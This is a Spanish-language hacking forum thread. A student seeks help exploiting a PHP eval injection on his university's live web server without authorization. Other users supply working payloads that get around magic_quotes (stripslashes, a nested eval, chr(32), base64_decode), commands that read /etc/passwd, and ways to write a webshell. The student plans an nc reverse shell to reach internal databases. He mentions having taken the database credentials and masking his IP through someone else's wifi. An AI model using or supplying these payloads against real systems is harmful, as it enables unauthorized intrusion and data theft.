Huuula, bueno, dada la pericia de los peogramadores de mi facultad, e descubierto una vulnerabilidad de tipo php injeciton, mediante un eval($_GET["x"]);
si...son así de habiles allí.... ell caso, esk que para continuar con su nivel tiene actividas las magic quotes con lo que no puedo ahcer por ejemplo ?x=system("ls -la"); porque me escapa las comillas...
de hecho estoy muy limitado en el uso de comandos puesto que la funcion system recibe una cadena y tal y cual. Por favor sugerencias? algun tipo de bypassing?
Gracias por adelantado :)
pD: tambien me serían útiles algunos comandos (linux) que puedan ser escritos en una sola palabra, es decir sin espacios :)
proba con hexadecimal, si queres hacer un cat a /etc/passwd haces asi:
x = system((0x636174202f6574632f706173737764));
creo q tal vez podria servir...
que tal si pones:
eval(stripslashses($_GET["x"]));
- He probado con el método de conversion a hexadecimal... y no me funciona, por si acaso probé a poner tan solo system(ls) que en hexa queda system(0x6c73) pero ni sikiera así me dejó, estás seguro que se puede incluir hexadecimal en la llamada a la funcion system?
- Tambien e probado con el stripslashes pero no me funcionó, no se si me estoy confundiendo en la manera en que se aplica... ;system(stripslashes("ls -la")) , eso es lo que puse, teniendo en cuenta que si pongo solo ;system(ls) funciona bien ( es decir, el punto y coma del final t lo añade el código )
no se si son errores mios, o proteccion de la web, en cualkier caso muchas gracias por ayudarme y apreciaría si pudieseis seguir haciendolo, un saludo :)
pD:
eval("echo PERICO_".$_GET["x"].";");
ese es el código fatídico, lo pongo por si sirve de algo xD
EDITO:He conseguido hacer un "apaño", el tema de las comillas quedó solucionado usando stripslashes como dijo whk, pero apareció un nuevo inconveniente, no podia insertar espacios, así que use la funcion chr()
en concreto, chr(32) para insertar el espacio... El problema viene ahora, se ve que no tengo privilegios suficientes ni sikiera para moverme por directorios...(obviamente tampoico para crear archivos :$ ), no se porque cuando realizo system(cat index.php) por ejemplo, en vez de mostrarme el código es como que se "inserta", pero solo el codigo html... es decir como si bajasemos el index.php con "guardar como"...
no se me ocurre nada más, dado que no puedo escribir en el directorio en el que se encuentra...alguna sugerencia? :)
Cita de: tragantras en 23 Febrero 2010, 08:42 AM
- He probado con el método de conversion a hexadecimal... y no me funciona, por si acaso probé a poner tan solo system(ls) que en hexa queda system(0x6c73) pero ni sikiera así me dejó, estás seguro que se puede incluir hexadecimal en la llamada a la funcion system?
- Tambien e probado con el stripslashes pero no me funcionó, no se si me estoy confundiendo en la manera en que se aplica... ;system(stripslashes("ls -la")) , eso es lo que puse, teniendo en cuenta que si pongo solo ;system(ls) funciona bien ( es decir, el punto y coma del final t lo añade el código )
no se si son errores mios, o proteccion de la web, en cualkier caso muchas gracias por ayudarme y apreciaría si pudieseis seguir haciendolo, un saludo :)
pD: eval("echo PERICO_".$_GET["x"].";");
ese es el código fatídico, lo pongo por si sirve de algo xD
EDITO:
He conseguido hacer un "apaño", el tema de las comillas quedó solucionado usando stripslashes como dijo whk, pero apareció un nuevo inconveniente, no podia insertar espacios, así que use la funcion chr()
en concreto, chr(32) para insertar el espacio... El problema viene ahora, se ve que no tengo privilegios suficientes ni sikiera para moverme por directorios...(obviamente tampoico para crear archivos :$ ), no se porque cuando realizo system(cat index.php) por ejemplo, en vez de mostrarme el código es como que se "inserta", pero solo el codigo html... es decir como si bajasemos el index.php con "guardar como"...
no se me ocurre nada más, dado que no puedo escribir en el directorio en el que se encuentra...alguna sugerencia? :)
Dale a ver código fuente y probablemente el coódigo php se visualice como si fueran comentarios html.
Esto pasa porque el navegador lo que está reconociendo es html y entonces si le pasas información con html pues la parsea.
veis pq amo tanto esta comunidad... jajaja gracias braulio :)
alguien me sabría decir como podria escribir en un php? es que he descubierto un directorio en el cual se puede escribir, habia pensado en ( pero no me va eh xD ) :
x?3;stripslashes(system('echo.chr(32).a>pagina')
es decir -> echo a > pagina ( como ejemplo, m refiero )
la idea es.. obviamente hacer una shell algo más facilita, pq me estoy rompiendo la cabeza :)
Podrías hacerlo directamente desde php , pero creo que es mas fácil así :
system("echo".chr(32)."loquequierasescribir".chr(32).">shell.php");
. es el símbolo de concatenación de cadenas, supongo que sabes php.
Cita de: ▬▬▬▬► braulio23 ◄▬▬▬▬▬ en 23 Febrero 2010, 14:26 PM
Podrías hacerlo directamente desde php , pero creo que es mas fácil así :
system("echo".chr(32)."loquequierasescribir".chr(32).">shell.php");
. es el símbolo de concatenación de cadenas, supongo que sabes php.
si si, algo de php si que se, el asunto es que como están activadas las magic quotes (como puse arriba), no me deja más que insertar comillas simples mediante el stripslashes y no funciona bien... ciertamente no lo entiendo, por que por ejemplo si que puedo poner system(ls.chr(32).chr(45).la) quedando
ls -la si que funciona, pero sin embargo si pong system(echo.chr(32).a) (echo a) por ejemplo, que debería mostrarmelo por pantalla, no suelta nada... y no termino de cogerlo...
EDITO:hmmm
a;stripslashes(system('echo'.chr(32).'cosa>a.txt'))
así si que me deja, bueno un saludo y sigo a la escucha de posibles opciones de explotación (gracias de nuevo braulio)
PD: edito por si a alguien le interesa seguir la evolucion de un newbie xDD
nopo, esque de nada sirve ejecutar eval(stripslashses(system('ls -la'))) porque quedaría eval(stripslashses(system(\'ls -la\'))) , por eso debes ejecutarlo en la variable get:
eval(stripslashses($_GET[x]))
y fijate que va sin comillas, ahora ejecutas index.php?x=system('ls -la'); exit;
Cita de: WHK en 23 Febrero 2010, 17:14 PM
nopo, esque de nada sirve ejecutar eval(stripslashses(system('ls -la'))) porque quedaría eval(stripslashses(system(\'ls -la\'))) , por eso debes ejecutarlo en la variable get:
eval(stripslashses($_GET[x]))
y fijate que va sin comillas, ahora ejecutas index.php?x=system('ls -la'); exit;
hmmm jaja pero quizá no m expliqué bien, el código obviamente no lo puedo modificar yo... es un servidor web, tan solo puedo explotar dicha vuln :S
ah en ese caso puedes hacer un
index.php?x=eval(stripslashses($_GET[z]));&z=echo 'x';exit;
de esta forma desde la variable x le das un nuevo eval y stripslashses y fijate que no ingresamos ninguna comilla, luego desde una segunda variable le inyectamos a todo dar :P
no sé si te funcione aya, pero a mi me dio resultado
urldecode(system%28%27dir%27%29);
pasando eso por get, no se como lo modifique el foro, hice esto
echo urlencode("system('dir')");
ya me platicaras
PD: dice "dir" por que estoy en windows ¬¬ y que? :xD!!!
jsajajaja pero dir sirve para igual en windows que en linux...
mejor
print_r(glob('*'));
print_r(glob('/temp/*'));
print_r(glob('/*'));
print_r(glob('/etc/*'));
despues lees con file
print_r(file('/etc/passwd'));
gracias por contestar de nuevo =)
WHK
no puedo usar los print_r porque requieren cadenas, y como dije al principio están activados los magic_quotes así que no se muy bien como realizar esas operaciones, intenté con chr(39), que viene siendo la comilla simple, pero no procesa bien de esa manera...
recuerdo que el código vulnerable es el siguiente eval("echo PERICO_".$_GET["x"].";");
Azielito
Ya especifiqué que el codigo no puedo modificarlo yo... se trata de una vulnerabildad, no es un foro, es una web de servicios, sin más
All
Dado que puedo lanzar system() exec() passthru() etc... se me había ocurrido lanzar un nc -l -p 4444 -c /bin/shell
o una inversa nc IP 4444 -c /bin/shell
pero he tenido algunos problemas haciendo una prueba local, se ve que mi router no hace correctamente la traduccion de IPs privadas a Publicas ( NAT ) asi que..., y tampoco me quiero arriesgar a dejarlo a la escucha en el servidor, que eso es facilmente detectable, además se registraría mi ip... ( que por otra parte...tampoco es mia, es una wifi de por ahi xD )
He obtenido los datos de la conexion de la base de datos, hay una mysql y una oracle, pero... el firewall está configurado para tan solo aceptar peticiones desde dentro... así que por eso me es tan importante instalar una shell dentro.
PD: no se si esto está tomando tintes para estar en el tema de hacking general... pero como aun tengo que pasar funciones mediante el eval() y el system() de php, pienso que aun tiene cabida aquí
Un saludo y gracias ^^
Y por qué no haces la shell con lo de system('echo tal>hola.php'); ehh? (obviamente saltandote los filtros esos que hay)
Cita de: ▬▬▬▬► braulio23 ◄▬▬▬▬▬ en 24 Febrero 2010, 15:31 PM
Y por qué no haces la shell con lo de system('echo tal>hola.php'); ehh? (obviamente saltandote los filtros esos que hay)
omg no eres consciente hasta que punto se complica el asunto, no puedo insertar ni comillas, ni espacios ni simbolos raros ( como backslashes ) por ejemplo ese código que tu has puesto ahi se transforma en:
system(chr(39).echo.chr(32).tal.chr(62).hola.chr(46).php.chr(39))
con: ' = chr(39) (espacio) = chr(32) > = chr(62) . = chr(46)
con lo que intentar hacer una "shell" decente... me costaría la misma vida xD
pD: el simbolo del > si s puede introducir, pero bueno, es tan solo un caracter entre la marea de ellos
Recuerda que WHK te dió la forma para evadir las magic quotes,y , otra forma sería con las funciones get_file_content y put_file_content.
Cita de: ▬▬▬▬► braulio23 ◄▬▬▬▬▬ en 24 Febrero 2010, 17:08 PM
Recuerda que WHK te dió la forma para evadir las magic quotes,y , otra forma sería con las funciones get_file_content y put_file_content.
pues... el tema es que probando offline el codigo de
WHK si que me ha funcionado, pero a la hora de implementarlo en la web no... no se porque, a ver si vosotros me echais una mano ( OTRA! xD ), os pongo el funcionamiento más "real" de la web:
- La pagina recibe por GET el "idioma" al que quiers cambiar, es decir, $_GET["lang"] y lo almacena en una variable llamada $lang
- Esa pagina, llamémosla changelang.php te redirecciona al index.php
- Ya el index.php es el encargado de hacer eval("echo RECENT_".$lang.";");
no se realmente si este proceso de paso por variable local en vez de por GET altera el funcionamiento de el sistema :/
si, te entendi, te comento que hagas uso de la funcion "urldecode" cuando mandas tu codigo x)
La directiva magic_quotes_gpc solo actuan sobre las comillas simples y dobles, pueden usar urlencode para bypassearlo pero si se envia por POST o por COOKIES pueden usar usar lo que dijo WHK
Cita de: Azielito en 25 Febrero 2010, 19:45 PM
si, te entendi, te comento que hagas uso de la funcion "urldecode" cuando mandas tu codigo x)
Cita de: ~ Yoya ~ en 25 Febrero 2010, 20:04 PM
La directiva magic_quotes_gpc solo actuan sobre las comillas simples y dobles, pueden usar urlencode para bypassearlo pero si se envia por POST o por COOKIES pueden usar usar lo que dijo WHK
OOOk, vale lo probé y efectivamente, el tema de las comillas simples y dobles lo bypassea, pero el segundo problema con el que me encuentro es que no puedo colocar NINGUN espacio en la query "system()", osea puedo poner system("dir") ( usando todo el rollo de urlencode ) pero por ejemplo no system("ls -la") pq requiere de un espacio... obviamente puedo seguir concatenando chr(32) etc etc pero me gustaría más que el metodo de explotación, el POR QUÉ ocurre esto, que de eso se trata no? de aprender :)
un saludo y aprecio mucho vuestras respuestas :)
En url encode el espacio es:
+
En ASCII es
32
hay algo que se me escapa...
veamos....
yo pongo http://url.com/pagina.php?x=3;$cosa='mycosa';echo $cosa
y me imprime correctamente 3mycosa (recordar que era hacia echo $_GET [ x ], asi que la variable por x tambien se imprime... )
pero sin embargo si pongo http://url.com/pagina.php?x=3;$cosa='my cosa';echo $cosa
ni sikiera imprime el 3 correctamente, es decir... hay algo que impide usar espacios, sin embargo comillas simples si
edit: peude ser alguna config del servidor?
Pues míralo en el code, puedes usar system(cat) (creo que ya lo hiciste)
cambiarIdioma.php
<?
session_start();
$_SESSION["pageLanguage"]=$_GET["idLanguage"];
header ("Location: index.php");
?>
index.php
<?include("cambiarIdioma.php");
define("WELCOME_ESP", "Bienvenio colega");
define("WELCOME_ENG", "Welcome mate");
?>
<?=eval("echo WELCOME_".$pageLanguage.";");
?>
Ahi no parece estar el problema de los espacios no?... que config puede ser? necsitais datos del phpinfo?
PD: por cierto, obviamente no son los nombres d los arxivos esos, no soy tan malvado xD
Agrega url encode...
http://url.com/pagina.php?x=3;$cosa='my cosa';echo urlencode($cosa);
Cita de: ~ Yoya ~ en 25 Febrero 2010, 23:52 PM
Agrega url encode...
http://url.com/pagina.php?x=3;$cosa='my cosa';echo urlencode($cosa);
Nop, no funciona... la unica manera de poder insertar espacios es chr(32) POR QUE?! xDD
3;$cosa='my.chr(32).cosa';echo $cosa;
pD: esto se está convirtiendo para mi en poco menos que quebradero de cabeza
asi si funciona.... sin el urlencode, tan solo poniendo chr(32)...
ps te recomiendo que lo maquetees.
Cita de: ~ Yoya ~ en 25 Febrero 2010, 23:56 PM
ps te recomiendo que lo maquetees.
No se muy bien a que te refieres con eso...
probando la pagina tal cual en mi ordenador, firefox me adiverte de una recursión infinita, es decir... cambiarIdioma.php hace un header a index.php y éste hace un include a cambiarIdioma.... que de nuevo volvería a hacer el header y blablabla hasta el final de los tiempos.
Por qué me ocurre esto a mi offline pero online no? alguna config del server? me faltará algun trozo de php?
Puedes codificarlo a base64 y luego descodificarlo desde el código y te saltas lo de los espacios.
coincido con braulio
urlencode(base64_decode(bHMrLWE));
podrias mirar el php.ini y/o el httpd.conf para ver que puedes y que no puedes hacer :P
bueno, muchas gracias a todos :]
con el tema del base64_decode me las puedo ir apañando mediante el file_put_contents y tiempo libre... xD
miraré el tema del php.ini y el httd.conf a ver que puede ser, porque por ejemplo:
file_put_contents('cosa','?',FILE_APPEND
no me deja... es decir no me deja meter el simbolo de interrogación, pero de momento el resto de los que he probado si, '<' y cosas así si.. hmm todo un misterio! jaja
bueno repito que muchas gracias por prestarme la ayuda, cuando pueda hacer cat php.ini os lo iré poniendo por si os interesa este misterio! :]